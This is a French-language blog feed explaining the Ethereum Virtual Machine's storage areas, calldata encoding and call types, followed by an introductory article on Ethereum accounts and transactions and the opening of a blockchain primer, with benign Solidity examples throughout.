Ce que nous allons voir dans cet article concerne le compilateur (et le langage) Solidity. Les compilateurs des autres langages se sont souvent référés à Solidity et reproduisent les même conventions, mais ce n’est pas toujours le cas.

Variables globales

Lorsqu’un smart contract est écrit avec Solidity, il existe trois variables globales, accessible au smart contract, qui lui permettent d’avoir des informations sur le contexte dans lequel il est exécuté :

Block (block) : Cette variable contient des informations sur le bloc dans lequel a été validé la transaction. On trouvera par exemple le numéro du bloc, le moment où il a été ajouté à la blockchain, ou encore son hash.
Transaction (tx) : Des informations relatives à la transaction en cours sont disponibles dans cette variable. C’est ici qu’on saura par exemple qui est à l’origine de la transaction (et non pas à l’origine du dernier message), donc ce sera toujours un EOA.
Message (msg) : Plusieurs messages peuvent être envoyés au sein d’une transaction. Dans ces messages, on peut savoir qui a envoyé le message, combien d’Ether ont été fournis, les données jointes au message, etc. En fonction du contexte et du message, la variable msg peut évoluer. Par exemple, quand un contrat appelle un autre contrat, l’attribut msg.sender sera modifié.

Stockage

Le code du smart contract (composé des instructions telles que celles que nous avons introduites) doit être stocké quelque part, tout comme les variables du contrat, ou d’autres données temporaires ou non, nécessaires à sa bonne exécution. Pour cela, l’EVM dispose de différents types de stockages, permanents ou non, pour différents objectifs.

Stockage permanent

Il existe deux types de stockages permanents. Ce sont les endroits dans lesquels des informations sont stockées par les noeuds, et persistants lors de l’exécution de transactions. Ainsi, quand une transaction est terminée, ce stockage sera enregistré, et pourra être utilisé lors de la prochaine transaction. Pratique !

Bytecode

Le code du smart contract est stocké de manière permanente, mais ne peut pas être modifié. C’est du read-only. Si un problème est détecté dans le code du smart contract après son déploiement, c’est trop tard. Il faut déployer un nouveau smart contract avec sa correction, et prévenir les utilisateurs que l’adresse du smart contract a changé.

Il existe des moyens de gérer ce problème avec des smart contracts qui prennent le rôle de proxy, mais ce n’est pas le sujet, et ces contrats peuvent également posséder des bugs.

Account storage

Le lieu de stockage persistant pour les smart contract, c’est l’account storage. C’est un peu le disque dur d’un ordinateur. Nous en avons parlé dans l’article sur Ethereum. Dans le world state (l’état global de Ethereum), à chaque adresse sont associés différents éléments, comme le solde d’Ether du compte, mais également, dans le cas des smart contracts, un “espace de stockage” propre au smart contract.

Concrètement, le storage est une base de données clé/valeur. La clé est une valeur de 256 bits, et de même pour la valeur. On peut alors stocker 2**256 clés, largement de quoi faire, normalement. Pour bien comprendre, on peut également considérer ce stockage comme un tableau de 2**256 lignes, et à chaque ligne on peut y assigner une valeur.

Avant que quoique ce soit ne soit exécuté, ce tableau est vide, ce ne sont que des zéros. Donc chaque contrat possède, par défaut, un tableau de 2**256 lignes, et à chaque ligne il y a 2**256 bits à zéro.

Généralement, les premiers slots d’un contrat Solidity contiennent les variables d’état (state variables) du contrat.

Prenons l’exemple suivant :

contract Hackndo {
    /**
     * Variables d'état
     */
    uint256 id = 7; 
    uint256 totalAmount = 1000;

    /**
     * Code du contrat
     */

    constructor() {
        // Code
    }

    function myFunction() external {
        // Code
    }
}

Suite à la création du contrat, le account storage contiendra les clés valeurs suivantes :

Pour parler de clé, la notion de slot est souvent utilisée. Ainsi, dans l’exemple suivant, le slot 0 est celui de la variable id et le slot 1 est associé à la variable totalAmount

Optimisation

Les variables déclarées étaient des uint256, donc 256 bits, ce qui prenait un slot entier, mais si des variables plus petites sont utilisées, le storage sera optimisé par le compilateur de Solidity. Si deux variables rentrent dans un slot, alors elles seront mises dans ce même slot. Nous verrons cela en détails dans un autre article.

Autres formats

Dans cette zone de stockage, on peut enregistrer des entiers, mais aussi des chaines de caractères, des tableaux, des mappings, etc. Chaque type de variable a ses règles de stockage gérées par le compilateur de Solidity pour pouvoir les retrouver. En voici un résumé rapide :

Lorsqu’un tableau est stocké, la taille du tableau est stockée à un certain index qui suit la règle précédente. Pour trouver l’élément N du tableau, il faut alors calculer keccak256(abi.encode(arrayIndex))+N.

keccak256 est une fonction de hash (ancienne version de SHA3). abi.encode permet d’encoder des informations afin de transformer des structures de données potentiellement complexes (comme des tableaux) en une suite d’octets, ce qui permet alors à une fonction de hash de fonctionnement correctement.

Pour un mapping (une association clé-valeur), un slot est réservé pour déterminer son index de base (mais rien n’est stocké à cet endroit, contrairement aux tableaux pour lesquels la taille est stockée), puis pour déterminer où se trouve une valeur du mapping, la fonction keccak256(abi.encode(key, mappingIndex)) doit être appliquée. Elle retourne l’index auquel se trouve la valeur de key.

Stockage volatile

La mémoire volatile, c’est cette mémoire qui, une fois l’exécution du contrat terminée, est effacée, il n’en reste aucune trace. On pourrait comparer cette mémoire avec la mémoire vive (RAM) d’un ordinateur, en quelque sort.

Stack

La pile, ou la stack, est une zone mémoire qui a un fonctionnement LIFO (Last In, First Out).

Cela veut dire que le dernier élément qui est placé sur la pile sera le premier élément à être dépilé. Pour mieux comprendre, on peut imaginer une pile d’assiette. Si on empile des assiettes les unes sur les autres, il faudra enlever la dernière assiette posée, puis l’avant-dernière etc. pour pouvoir récupérer la première assiette posée. C’est le même principe. (Oui, c’est la même explication qu’ici, et alors.)

Cette zone mémoire est utilisée par le compilateur pour y stocker des informations temporaires, comme les variables locales d’une fonction, ou les arguments d’instructions par exemple. Typiquement, tous les smart contracts compilés avec Solidity commencent par ces 3 instructions pour stocker la valeur 0x80 à l’adresse mémoire 0x40.

PUSH1 0x80  // destination
PUSH1 0x40  // valeur
MSTORE      // mstore(destination, valeur)

Les arguments de la fonction mstore sont poussés sur la pile, dans le sens inverse de leur utilisation. En effet, le premier élément qui sera dépilé sera le dernier élément poussé. On pousse donc d’abord la valeur 0x80 puis la destination 0x40. Lors de l’exécution de mstore, 0x40 (la destination) sera dépilée, puis 0x80 (la valeur).

C’est une zone mémoire qui bouge énormément au fil de l’exécution d’un programme. On peut y stocker jusqu’à 1024 éléments de 256 bits (32 octets).

Attention, seuls les 16 premiers éléments de la stack peuvent être utilisés pour effectuer des opérations, appeler des fonctions, etc. Cela veut dire, par exemple, qu’une fonction ne peut pas avoir plus de 16 arguments, ou plus de 16 variables locales.

Memory

La memory d’un smart contract est une grande zone mémoire accessible en lecture et écriture sans ordre prédéfini comme la stack. On peut y stocker toute taille d’information, à partir d’un octet, jusqu’à 32 octets. En revanche on ne peut lire des informations que par 256 bits (32 octets). On trouvera ici les variables avec des tailles dynamiques, comme les tableaux ou les mappings par exemple, mais on peut tout à fait y stocker des entiers, ou des booléens.

L’adressage se fait sur 32 octets, ou 256 bits. Donc on peut théoriquement stocker jusqu’à 2**256 bits d’information. En pratique, ça permet surtout d’éviter des collisions lorsqu’on stocke des données de taille dyamique. On utilisera le hash de certains éléments pour décider de la destination de stockage. Avant que deux hash dans un espace de 2**256 soient proches, on a le temps de gagner quelques fois au loto !

Espaces réservés

es deux premiers octets (aux adresses 0x00 et 0x20) servent au compilateur pour faire des calculs ou opérations temporaires.

Le troisième emplacement (0x40) contient un pointeur vers la prochaine zone mémoire libre, utilisable. C’est le free memory pointer.

C’est d’ailleurs ce pointeur qui est initialisé au début de chaque contrat compilé avec Solidity. On l’a vu plus tôt dans cet article. Les opérations suivantes enregistrent 0x80 à l’adresse 0x40.

PUSH1 0x80
PUSH1 0x40
MSTORE

Donc la prochaine zone utilisable pour allouer de la mémoire, c’est l’adresse 0x80. Et pourquoi pas l’adresse 0x60 ? Tout simplement parce que cette adresse est également spéciale, elle vaut toujours 0. Elle peut être copiée pour initialiser un tableau par exemple.

Stockage des données

Les formats simples comme les entiers sont simplement stockés à l’adresse qui leur est assignée.

Pour les chaines de caractères, lorsqu’on assigne une adresse pour les stocker, la longueur de la chaine est stockée dans les 256 bits commençant à cette adresse, puis la chaîne est stockée.

Pour les tableaux, un espace correspondant au nombre d’éléments est réservé, et les éléments du tableaux sont ajoutés les uns à la suite des autres.

Une structure est organisée de la même manière qu’un tableau.

Calldata

Lors d’un appel à une fonction d’un smart contract, cet appel doit être créé par le client avant même d’avoir envoyé la transaction, donc avant même que l’EVM soit instanciée quelque part. Les paramètres de la fonction ne peuvent donc pas être dans une stack ou en mémoire de l’EVM.

La fonction, et ses arguments, sont envoyés dans le champ data de la transaction, comme nous l’avons brièvement vu dans l’article sur Ethereum. Lorsque le contract va effectivement être instancié et exécuté dans la machine virtuelle de Ethereum, ce qui a été envoyé dans data va être copié dans la zone mémoire appelée calldata.

Cette zone mémoire, calldata est utilisée lors de l’appel d’une fonction par un client Ethereum, mais pas uniquement. Elle l’est à chaque fois qu’un message est envoyé, que ce soit d’un EOA vers un contrat, ou d’un contrat vers un contrat.

D’un point de vue mémoire, calldata est très similaire à la memory.

Elle est linéaire
L’adressage se fait à l’octet
On ne peut lire que 32 octets par appel

En revanche, contrairement à la memory, cette zone mémoire est en lecture seule. On ne peut pas écrire dans cette zone mémoire. C’est l’EVM qui se charge de copier les paramètres qu’a envoyés la source du message.

Sélecteur de fonction

Les 4 premiers octets sont réservés au sélecteur de la fonction. Je rappelle ce qui a été expliqué dans l’article sur Ethereum, le sélecteur de la fonction est calculé en hashant la signature de la fonction, et en ne retenant que les 4 premiers octets.

Par exemple, imaginons la fonction suivante :

function getItemValue(string calldata _itemName, uint256 _itemId) public returns(uint256 value) {
  // Code de la fonction
}

La signature de la fonction est :

getItemValue(string,uint256)

Et le sélecteur :

bytes4(keccak256("getItemValue(string,uint256)"));
// Output:
0xc2e58fec

La suite de cette zone mémoire est dédiée aux arguments de la fonction.

Stockage des arguments

Les formats simples comme les entiers sont stockés tels quels.

Pour les chaines de caractères, on trouve l’offset de là où elle se trouve vraiment. Cet offset permet de trouver la chaine, en commençant par sa taille (sur 256 bits) puis les caractères de la chaine.

Pour les tableaux, de même on trouve l’offset de là où se trouve le tableau. A cet offset seront ensuite mis les différents éléments du tableau.

Une structure est organisée de la même manière qu’un tableau.

Prenons le même exemple quand dans l’article précédent :

getItemValue("pixis", 8);

Le contenu de calldata sera :

0xc2e58fec0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000057069786973000000000000000000000000000000000000000000000000000000

Ce qui peut être découpé de la manière suivante :

PC - Program Counter

Pour information, il existe aussi une zone mémoire appelée le Program Counter ou PC. Pour ceux qui connaissent le monde Intel, c’est l’équivalent de “EIP” (ou “RIP”). C’est une zone mémoire dans laquelle il y a l’adresse de la prochaine instruction à exécuter. Ca permet donc à la machine virtuelle de savoir où elle en est. Souvent, cette adresse augmente petit à petit, et parfois, lorsqu’il y a un saut (jump), la destination du jump est assignée au PC, ce qui fera que la prochaine instruction exécutée sera la destination du jump.

Gas

Enfin, l’EVM maintient à jour le nombre de gas consommés, afin de vérifier que le gas fourni par l’utilisateur lors de l’appel de la fonction est suffisant.

Calls

Après avoir étudié les différentes zones mémoires qui permettent à l’EVM de fonctionner, nous terminerons en parlant des différents types d’appels qui permettent de demander à un smart contract d’exécuter du code. Ces appels, ou calls, permettent d’exécuter une fonction d’un smart contract, avec des arguments si nécessaire.

Chaque type de call a ses spécificités. Pour bien comprendre de quoi il en retourne, il faut d’abord expliquer qu’un contrat s’exécute dans un certain contexte. Parfois, lorsqu’une fonction est appelée, une nouvelle instance d’EVM est déployée pour exécuter le code de la fonction. Parfois, les zones mémoires sont différentes, parfois partagées. Les informations globales (comme la source du message) peuvent également varier ou non, selon le type d’appel.

Nous ferons un tableau récapitulatif suite aux détails des différents appels.

Calls internes

Le plus simple, ce sont les appels internes. C’est ce qu’il se passe quand un smart contract fait appel à une de ses propres fonctions, ou à une fonction d’un contract dont il hérite. En terme d’opcode, quand un appel interne est effectué, c’est un saut (jump) qui va être exécuté. Il n’y a aucun changement de contexte, on reste dans le même contrat, dans la même instance de machine virtuelle. La fonction appelée partage les mêmes informations, les mêmes zones de stockage que la fonction appelante.

Voici deux exemples d’appels internes, l’un pour une fonction du même contrat (functionA()) et l’autre qui appelle une fonction d’un contrat parent (functionParent()).

contract Parent {
    function functionParent() internal pure {
    }
}

contract Child is Parent {
    function functionA() internal pure {

    }

    function functionB() external pure {
        // Appel interne à une fonction du même contrat
        functionA();
    }

    function functionChild() external pure {
        // Appel interne à une fonction du contrat parent
        functionParent();
    }

Le contenu de functionA() aurait pu être mis dans functionB(), ça n’aurait pas changé grand chose.

Calls externes

Les calls externes sont plus intéressants. Ils permettent d’appeler les fonctions d’autres contrats. Il existe 3 types d’appels externes différents.

En réalité, il en existe un 4ème, callcode, mais il a été déprécié en faveur de delegatecall donc nous n’en parlerons pas ici.

call

Le call est l’appel de base. Il permet d’appeler une fonction d’un autre contrat. Cette fonction sera exécutée dans une nouvelle instance d’EVM, avec ses propres zones mémoires (stack, memory, …). Le code appelé peut alors faire ce qu’il souhaite, modifier sa propre mémoire, mettre à jour ses variables, etc. Comprenez cependant que les variables du contrat appelé sont complètement indépendantes des variables du contrat appelant. Chacun chez soi, et les moutons seront bien gardés.

Par ailleurs, les données du message sont mises à jour. Ainsi, l’adresse de provenance (msg.sender) devient celle du contrat appelant, et la valeur incluse dans le message (msg.value) est mise à jour également.

On peut également envoyer des Ethers via un call.

Voici un exemple

contract ContractA {
    uint public callCounter;
    function functionA() external payable {
        callCounter++;
    }
}

contract ContractB {

    ContractA contractA = new ContractA();
    
    function functionB() external {
        // call car functionA modifie des informations dans le storage, en l'occurrence sa variable "callCounter"
        contractA.functionA();
    }
}

Il est possible d’utiliser la fonction call explicitement, de la manière suivante :

(bool success,bytes memory data) = address(contractA).call{value: 0.1 ether}(abi.encodeWithSignature("functionA()"));

L’appel renverra un status booléen sur la bonne exécution du call ainsi que de la donnée optionnellement renvoyée par la fonction appelée. On note également que, dans cet exemple, nous avons envoyé 0.1 ether au contrat appelé.

staticcall

Le staticcall est en tous points similaire au call, cependant la fonction appelée ne peut pas effectuer de modifications sur la blockchain, ni son storage, ni son solde d’ether. C’est une sorte d’appel en lecture seule.

contract ContractA {
    function functionA() external view {
        // Du code
    }
}

contract ContractB {

    ContractA contractA = new ContractA();
    
    function functionB() external view {
        // staticcall car functionA est déclarée comme "view", donc ne fera aucune modification dans le storage
        contractA.functionA();
    }
}

Comme cet appel ne peut pas modifier la blockchain, le solde du contrat appelé ne peut pas être modifié. Ainsi, il n’est pas possible d’envoyer des Ethers via cet appel. Il est également possible d’appeler la fonction staticcall explicitement, de la manière suivante :

(bool success,bytes memory data) = address(contractA).staticcall(abi.encodeWithSignature("functionA()"));

delegateCall

L’appel delegateCall est très particulier. Il peut se révéler extrêmement utile, mais extrêmement dangereux. Alors que pour les appels call et staticcall, les zones mémoires étaient distinctes entre l’appelant et l’appelé, ce n’est pas complètement le cas pour le delegateCall.

Dans ce cas, toutes les zones mémoire volatiles (stack, memory, PC) sont propres au contrat appelé, le contrat B, cependant :

Les lectures et écritures dans le storage seront faites dans le storage du contrat A
L’adresse de provenance du message (msg.sender) et la valeur (msg.value) ne vont pas être mis à jour. Donc si un EOA appelle un contrat A, et que contrat A effectue un delegateCall vers un contrat B, msg.sender sera toujours l’EOA lorsque le contrat B exécutera son code.

contract ContractA {
    uint private secretNumber;

    function updateSecret() public payable {
        secretNumber = 1337;
    }
}

contract ContractB {
    uint private secretNumber = 42;
    ContractA contractA = new ContractA();


    function callContractA() public payable {
        // Le storage de ContractB est mis à jour avec ce delegatecall
        (bool success, bytes memory data) = address(contractA).delegatecall(abi.encodeWithSignature("updateSecret()"));
    }

    function getSecretNumber() external view returns(uint) {
        return secretNumber;
    }
}

Dans cet exemple, le ContractB possède une variable de storage privée, secretNumber, valant 42. En effectuant un delegatecall vers ContractA, ContractA va mettre à jour la variable secretNumber. Cette mise à jour est faite dans le storage de ContractB. Donc, suite à cet appel, la fonction getSecretNumber() renverra 1337, et non plus 42.

Un cas d’usage classique de ce type d’appel est le principe des contrats proxy. Lorsqu’un développeur veut mettre à jour son contrat, il devra à nouveau le déployer, et fournir la nouvelle adresse à ses utilisateurs.

Une solution est alors de créer un contrat proxy, dans lequel toutes les informations de son application sont stockées, et ce contrat effectue des delegateCall vers la vraie application. Le développeur communique l’adresse du proxy à tous ses utilisateurs.

Si un jour, l’application doit être mise à jour, il suffit d’appeler une fonction du proxy qui permette de mettre à jour l’adresse de l’application. Cette mise à jour est transparente pour les utilisateurs, puisque le proxy n’a pas été modifié.

Résumé des calls

Voici un petit tableau récapitulatif des différents types de call.

Call de contrat A vers contrat B	Nouvelle EVM	Storage	msg.sender/msg.value	Modification de la blockchain
call	Oui	Contrat B	Mis à jour	Possible
staticcall	Oui	Contrat B	Mis à jour	Impossible
delegatecall	Oui	Contrat A	Non mis à jour	Possible

Conclusion

Cet article nous a permis de faire un tour d’horizon de l’EVM, Ethereum Virtual Machine. Des opcodes sont exécuté par la machine virtuelle, dans la limite du gas envoyé par l’utilisateur, puisque l’exécution de code a un coût.

Pour correctement fonctionner, l’EVM utilise différentes zones mémoires pour stocker des informations temporaires et permanentes.

Enfin, afin que des contrats puissent s’appeller entre eux, différents appels, ou calls, sont gérés par l’EVM.

Ces bases devraient être suffisantes pour aborder serainement les vulnérabilités rencontrées dans les smart contracts dans les prochains articles.

Ethereum

Mon, 10 Jul 2023 04:13:37 +0000

Contrairement à des blockchains comme Bitcoin, qui permet essentiellement d’effectuer des transactions de cryptomonnaie Bitcoin, Ethereum possède en plus un truc assez extraordinaire, c’est l’exécution de code décentralisée.

Oui, décentralisée. Ça veut dire qu’il est possible d’écrire un programme, du code quoi, et de le faire exécuter non pas sur un serveur, mais sur des milliers de serveurs ou nœuds. Et les résultats de notre programme sont également enregistrés de manière décentralisée. Je ne sais pas vous, mais moi je trouve ça incroyable, et ça m’a vraiment donné envie de creuser un peu le sujet.

Donc Ethereum, c’est une blockchain parmi tant d’autres. Ce n’est pas des blockchains qui manquent aujourd’hui, mais à ce jour, Ethereum est la plus connue et la plus utilisée, du moins du côté des blockchains qui permettent, justement, d’exécuter du code. Elle a ses défauts que d’autres blockchains corrigent (mais souvent au détriment d’autres aspects), ce n’est pas vraiment le sujet.

Nous allons voir comment Ethereum fonctionne, en abordant les notions de comptes EOA, de contrats, d’états et de transactions.

Ethereum 101

Nous avons vu dans l’article Blockchain 101 le fonctionnement général des blockchains. Ethereum fonctionne globalement de cette manière, le mécanisme de consensus étant la preuve d’enjeu, ou Proof of Stake. La cryptomonnaie propre à Ethereum est l’Ether (ou ETH). Tout comme Bitcoin et toutes les autres blockchains, il est possible d’envoyer des Ethers à d’autres utilisateurs via des transactions. Chaque utilisateur a son adresse.

Ce qu’Ethereum apporte, c’est qu’en plus des utilisateurs classiques qui effectuent des transactions, il est possible de créer des petits programmes, des smart contracts, qui existent également sur la blockchain. Ils ont tous une adresse, tout comme les utilisateurs, mais ils ont aussi du code, enregistré sur la blockchain.

Pour distinguer ces deux types de comptes, on appelle les utilisateurs classiques des EOA (Externally Owned Accounts), qu’on oppose aux comptes de contrats (contracts accounts), qu’on appellera simplement contrats.

EOA vs Contrats

Les comptes créés par des humains, les EOA, sont donc des comptes avec une adresse, une clé publique et une clé privée. Ils peuvent initier des transactions en les signant, envoyer des Ethers, et en recevoir. Ces transactions peuvent être envoyées à d’autres EOA, ce qui permet d’envoyer des Ethers, mais également vers des contrats.

Les contrats ont également une adresse, mais n’ont pas de clé privée. Ils ne peuvent alors pas initier de transaction. Ils ne peuvent que réagir à des transactions initiées par des EOA, ou à des messages envoyés par d’autres contrats. En effet, une fois appelé par un EOA, un contrat peut tout à fait envoyer des messages à d’autres contrats. La notion de message est abordée à la fin de cet article.

Organisation des données

Avant de plonger sur le pourquoi du comment un compte de type contrat peut exécuter du code au sein de l’écosystème Ethereum, nous allons zoomer sur les différentes données gérées et utilisées par Ethereum. En effet, dans cet écosystème, un état global des adresses doit être maintenu à jour (avec les soldes des comptes, par exemple), la liste des transactions doit être stockée et vérifiable, les messages émis dans les différentes transactions doivent être accessibles, et le stockage permanent de chaque smart contract doit, par définition, être également enregistré quelque part.

Toutes ces données ne sont pas stockées dans les blocs de la blockchain. Aussi étonnant que cela puisse paraitre (en tout cas pour moi au premier abord), ces informations sont enregistrées dans des bases de données, en dehors des blocs, sous forme d’arbres qui suivent un format spécifique : ce sont des Merkle Patricia Tries, qui permettent de stocker une liste de clés/valeurs de manière optimisée.

Il n’y a pas de typo, c’est bien Trie, et non pas Tree, en référence au mot anglais Retrieve. Nous verrons probablement les Merkle Patricia Tries en détails dans un article dédié.

Ces données sont donc enregistrées dans les arbres suivants :

State trie, ou world state, qui contient lui-même des liens vers des storage tries
Transactions tries
Receipt tries

Ainsi, dans les blocks, seul le hash de la racine de chacun de ces arbres est stocké.

Pour simplifier les prochains schémas, il arrivera qu’on note des transactions dans des blocs. Mais comme indiqué ici, le détail des transactions n’est techniquement pas inclus dans les blocs.

C’est à chaque client de savoir stocker le contenu des arbres et de gérer les requêtes à partir du hash du nœud racine (tous les clients n’utilisent pas les mêmes bases de données d’ailleurs).

Cette organisation permet aux équipements légers (mobiles, IoT) de se synchroniser facilement et rapidement avec la blockchain sans pour autant télécharger d’immenses volumes de données, et d’avoir ainsi connaissance des hash des nœuds racines des différents arbres, et ce pour chaque bloc.

Avec seulement les hashs des nœuds racines, un équipement léger peut demander à des nœuds complets (full nodes), c’est à dire des nœuds qui ont enregistré la blockchain ainsi que toutes les bases de données, de lui envoyer des données spécifiques. Grâce aux hashs des nœuds racine, le client léger pourra vérifier la validité de ces données (une transaction, le solde d’un compte, etc.).

Notons que même un full node Ethereum ne requiert qu’environ 1To d’espace disque. C’est accessible à vraiment tout le monde, et c’est ce qui fait qu’il y a autant de personnes qui participent au réseau décentralisé. Par ailleurs, il existe également les archive nodes. Contrairement aux full nodes qui ne se synchronisent qu’avec les 128 derniers blocs, les nœuds d’archive possèdent toute la blockchain. Si vous voulez plus d’informations, n’hésitez pas à lire cet article.

Voyons ensemble à quoi correspondent ces différents arbres de données.

World State

Commençons par le State Trie, ou le World State. Nous pouvons préciser que, tandis que nous comparions une blockchain à une base de données décentralisée, Ethereum est plus complexe et complet que ça. On pourrait plutôt décrire Ethereum comme une machine à état décentralisée.

C’est donc l’état général de Ethereum qui est appelé World State. Dans cet état, il y a toutes les adresses actives des utilisateurs (c’est à dire les adresses étant présentes dans au moins une transaction), et à chaque adresse est associé un état de compte (account state).

Account State

L’état de chaque compte est donc enregistré dans le world state contenant les 4 champs suivants :

balance : Le solde d’Ether du compte
nonce : Un numéro qui s’incrémente à chaque transaction pour un EOA, et à chaque création de contrat pour un contrat
codeHash : Un hash qui permet de retrouver le code du smart contract (le hash d’une chaine de caractère vide pour un EOA)
storageRoot : Le hash du nœud racine de l’arbre Merkle Patricia de l’account storage, ou storage trie. Il permet de récupérer l’état du contrat, comme la valeur des variables enregistrées de manière permanente par le contrat. Ce champ est vide pour un compte EOA.

A chaque fois qu’un bloc de la blockchain est validé, l’ensemble des transactions vont apporter des modifications au world state, pour donner un nouvel état.

Dans l’exemple du schéma suivant, un bloc effectue deux transactions :

L’adresse A envoie 2 coins à l’adresse C. Les soldes (balance) de A et de C vont évoluer, ainsi que le nonce de A (qui s’incrémente à chaque transaction)
L’adresse A envoie 4 coins à l’adresse D. Le solde de A va évoluer, et l’adresse D n’existant pas encore dans le world state va être ajoutée, avec un solde valant 4, et un nonce valant 0.

Les champs en rouge sont donc ceux qui sont modifiés suite à l’exécution des transactions du bloc, menant à un nouvel état N+1.

Transactions

Nous avons maintenant une vision plus claire des types de comptes qui existent, et comment ils sont enregistrés au sein d’Ethereum. Nous avons expliqué que les blocs contiennent des transactions qui modifient l’état des comptes impliqués, et par conséquent l’état général, ou world state. Ces transactions sont en réalité enregistrées dans une base de données, le Transactions Trie, de manière ordonnée.

Dans une transaction, on trouve plusieurs éléments :

Nonce : Le nonce est propre à chaque compte (stocké pour chaque adresse dans le world state, si vous avez bien suivi), et est incrémenté pour chaque nouvelle transaction
gasPrice et gasLimit: Ils permettent à l’utilisateur de définir les frais de transaction
to: L’adresse destinataire de la transaction
value: Le nombre de Eth envoyés (optionnel)
v,r,s: La signature de l’utilisateur
data: Permet d’envoyer des données à un autre compte, ou permet de définir le contrat lors de sa création

Si vous êtes observateur, vous constaterez qu’une transaction doit être signée. Or le seul type de compte qui possède une clé privée est l’EOA. Les contrats ne possèdent pas de clé privée. Ils ne peuvent donc pas initier de transaction.

Il existe en réalité deux types de transactions chez Ethereum, celles qui permettent d’envoyer un message à un autre compte, et celles qui permettent de créer un contrat.

L’envoi d’un message

Dans une transaction, un compte A envoie un message à un compte B. L’adresse de destination to est celle du compte B, et les champs value et data peuvent être utilisés.

Envoi d’Ether

Pour envoyer des Ether à l’adresse de destination, la somme souhaitée sera indiquée dans value. Quand on compte envoie de l’argent à un autre compte, c’est uniquement ce champ value qui est renseigné. Le compte de destination peut être un EOA ou un contrat.

Si la destination est un contrat, il faut que le contrat ait été conçu pour recevoir des Ethers de la sorte.

Envoi de données

Le champ data est quant à lui majoritairement utilisé pour exécuter le code d’un smart contract, quand la transaction lui est destinée. C’est aussi possible d’envoyer des données à un EOA, et le destinataire la traitera comme bon lui semble.

Lors de l’appel d’une fonction d’un contrat, le champ data doit être formaté de la manière suivante :

data: <Sélecteur de la fonction> <arguments>

Le sélecteur de la fonction est calculé en hashant la signature de la fonction, et en ne retenant que les 4 premiers octets.

Par exemple, imaginons la fonction suivante :

function getItemValue(string calldata _itemName, uint256 _itemId) public returns(uint256 value) {
  // Code de la fonction
}

La signature de la fonction est :

getItemValue(string,uint256)

Et le sélecteur :

bytes4(keccak256("getItemValue(string,uint256)"));
// Output:
0xc2e58fec

Donc le contenu de data ressemblera à

data: 0xc2e58fec<arguments>

Nous verrons comment les arguments sont organisés dans un prochain article, mais voici un exemple pour l’appel getItemValue("pixis", 8) :

0xc2e58fec                                                       # Sélecteur de fonction
0000000000000000000000000000000000000000000000000000000000000040 # Pointeur vers la chaine
0000000000000000000000000000000000000000000000000000000000000008 # 8
0000000000000000000000000000000000000000000000000000000000000005 # Longueur de la chaine
7069786973000000000000000000000000000000000000000000000000000000 # Chaine "pixis"

Ce type de message peut donc être envoyé depuis une transaction d’un compte EOA vers un smart contract.

Sachez qu’il est également possible qu’un contrat appelle une fonction d’un autre contrat en envoyant le même format de message. Tout se passera dans la même transaction, puisqu’un contrat ne peut pas signer de nouvelle transaction. Ce type d’appel entre contrat est un message call, c’est une instruction spécifique de la machine virtuelle de Ethereum. Seul le message est envoyé, le contrat de destination sera exécuté, et le résultat de cet appel sera retourné au contrat appelant. Nous verrons ces appels plus en détails dans de prochains articles.

La création d’un contrat

Le deuxième type de transaction permet à un compte EOA de créer un nouveau contrat. Pour cela, la transaction a pour destinataire l’adresse nulle 0x00000..., et le champ data est utilisé.

Ce champ data est divisé en deux parties :

Le code d’initialisation (initialization bytecode) qui permet de déployer le contrat. On y trouvera notamment le code du constructeur du contrat avec ses arguments (s’il y a un constructeur) ou encore les modifications du storage si des variables sont déclarées. Ce code termine en retournant l’adresse en mémoire du runtime bytecode ainsi que sa taille.
Le code de runtime (runtime bytecode) est le code du contrat, incluant le code de toutes les fonctions.

Une fois que cette transaction est traitée, un nouveau compte, celui du contrat, est créé. Son adresse est dérivée de l’adresse du créateur du contrat et du nonce de ce compte. Ainsi, à chaque nouvelle création de contrat, une adresse différente sera générée.

Comme nous l’avons vu précédemment, une nouvelle entrée dans le world state sera créée pour cette adresse. Le nonce sera 0, le solde du contrat dépendra du champ value de la transaction qui l’a créé (0 par défaut), mais le plus important sont les champs :

codeHash : Il permet de retrouver où se trouve le runtime bytecode du compte, c’est à dire toute la logique du smart contract
storageRoot : Un contrat étant toujours associé à un espace de stockage permanent, le account storage, cette valeur permet de retrouver cet espace de stockage afin de lire et modifier toutes les variables utilisées dans le smart contract.

Receipts

Le dernier arbre dont nous n’avons pas parlé est le Receipts Trie. Il permet de stocker les informations qui ne sont pas nécessaires au bon fonctionnement des smart contracts, mais qui peuvent être utilisées par des applications tierces, comme des front-ends, ou des clients.

Il y a un seul Receipts Trie par bloc. C’est un résumé des transactions qui se sont exécutées dans le bloc.

On y trouve par exemple le statut de la transaction (si elle a échoué ou non), ou encore le montant de gas utilisé.

De plus, lorsqu’un smart contract est exécuté, il peut émettre des événements.

contract MyContract {
  // Initialisation d'un événement "Transfer"
  Event Transfer(address to, uint value, uint tokenId);

  function transferTokens(address _to, uint _value, uint _tokenId) external {
    // Code de la fonction

    // Emission de l'événement "Transfer"
    emit Transfer(_to, _value, _tokenId);
  }
}

Dans cet exemple, l’événement Transfer est émis à la fin de la fonction transferToken. Cet événement sera ajouté au Receipts Trie du bloc.

Conclusion

Ces différents éléments nous permettent de mieux comprendre comment fonctionne Ethereum, ce qui définit un smart contract, comment un utilisateur peut en créer et comment il peut interagir avec. Cet article, couplé avec l’introduction aux blockchains, permettent de poser les bases pour expliquer le fonctionnement de la machine virtuelle de Ethereum, la EVM (Ethereum Virtual Machine). Mais ça, c’est dans le prochain article !

Blockchain 101

Mon, 03 Jul 2023 02:12:43 +0000

Depuis plusieurs années, je m’intéresse à un sujet dont vous avez probablement entendu parler, les blockchains. Je trouve ça fascinant qu’une technologie permette à des milliers de personnes de s’accorder sur énormément de sujets sans besoin d’intermédiaire. La décentralisation est un sujet qui à mon sens a beaucoup de potentiel, et nous verrons sur le long terme si cette technologie perdurera ou non. Quoiqu’il en soit, en l’état, ça bouillonne, ça bouillonne fort ! Plus récemment, j’ai commencé à m’intéresser à la blockchain Ethereum, aux smart contracts, et à la sécurité des smart contracts. On va parler de tout ça ici, c’est parti.

Avant de plonger dans la sécurité des smarts contracts, il est important de rappeler quelques concepts clés sur les blockchains. Qu’est-ce que c’est, comment ça fonctionne, quels sont les acteurs en jeu, nous verrons tout ceci dans cet article introductif. L’idée n’est pas de rentrer dans les détails, mais d’avoir une vue d’ensemble du fonctionnement général des blockchains. Les spécificités techniques variant beaucoup d’une blockchain à l’autre, nous les verrons en temps voulu dans les prochains articles.

Définition

